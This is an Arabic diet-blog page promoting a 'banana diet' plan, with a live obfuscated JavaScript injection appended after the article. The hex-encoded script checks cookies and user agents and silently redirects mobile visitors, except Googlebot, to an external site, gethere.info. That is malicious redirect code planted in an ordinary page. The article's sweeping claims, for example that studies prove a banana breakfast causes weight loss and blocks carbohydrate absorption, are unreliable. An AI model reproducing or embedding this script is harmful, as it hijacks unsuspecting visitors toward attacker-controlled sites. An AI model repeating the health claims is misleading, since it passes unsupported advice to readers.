انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

ريجيم الموز للتخلص من الوزن

ريجيم الموز للتخلص من الوزن

أحد أنواع الفواكه المحببة الي الجميع ” الموز ” لا يختلف عليه الكثيرون لما يحتوي عليه من عناصر غذائية مفيدة جدا يحتاج اليها الجسم في كل المراحل العمرية وبما ان الدراسات والأبحاث الحديثة في مجال التغذية اثبتت ان تناول فاكهة الموز على الإفطار يساعد على التخلص من الوزن الزائد لان الموز يساعد على افراز هرمون مسئول عن ارسال إشارات الي الجهاز العصبي توحي بالشبع وعد الرغبة في تناول الطعام

 

ريجيم الموز للتخلص من الوزن
ريجيم الموز للتخلص من الوزن

 

  • كيف يساعدك الموز على خسارة الوزن
  • يساعد تناول الموز في وجبة الإفطار على منع الجسم من امتصاص بعض أنواع الكربوهيدرات
  • يحتوي الموز على كمية مناسبة من النشا المقاوم وهو ما يساعد تعزيز الشعور بالشبع
  • يساعد الموز علي تحسين أداء الجهاز الهضمي بشكل عام ويساعد في عملية التمثيل الغذائي
  • ريجيم الموز
  • وجبة الإفطار

ثمرة واحدة من الموز كحد ادني وثلاث ثمرات كحد أقصى مع كوب من الماء الدافئ

  • وجبة الغذاء

الوجبة التي تختارها مع التوقف عن تناول الطعام بمجرد الشعور بالشبع

  • وجبة خفيفة

في الفترة ما بعد العصر يمكنك تناول وجبة خفيفة مثل حفنة من المكسرات او ثمرة من الفاكهة المفضلة لك فالفاكهة تعد أفضل أنواع الوجبات الخفيفة

  • وجبة العشاء

اختار طعامك كما شئت في هذه الوجبة ولكن عليك اتباع هذه القواعد: –

  • لا تؤجل وجبة العشاء بعد الساعة الثامنة أي كانت الأسباب
  • لا تتناول الحلوى في وجبة العشاء او بعدها ابدا
  • مميزات ريجيم الموز
  • يساعدك الموز على الشعور بالشبع لأطول فترة ممكنة لأنه يحتوي على الالياف الغذائية والبوتاسيوم وفيتامين ج وفيتامين ب 6
  • تجنب تناول الحلوى تماما يساعدك على تقليل السعرات الحرارية المدخلة الي الجسم
  • منع تناول الطعام بعد الساعة الثامنة مساء يساعدك على تجنب الأطعمة التي تحتوي على كمية كبيرة من الدهون والمرتفعة في السعرات الحرارية
  • الابتعاد عن شرب الشاي او القهوة لعدم وجودهم في وجبة الإفطار يساعدك على تقليل الشهية ويعمل على استقرار مستويات السكر في الدم
  • تناول فاكهة الموز في بدء اليوم يساعدك على تنشيط عملية الايض كما انه يعمل على الحد من الافراط في تناول الطعام على مدار اليوم لأنه غني بالألياف الغذائية كما ذكرنا سابقا

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.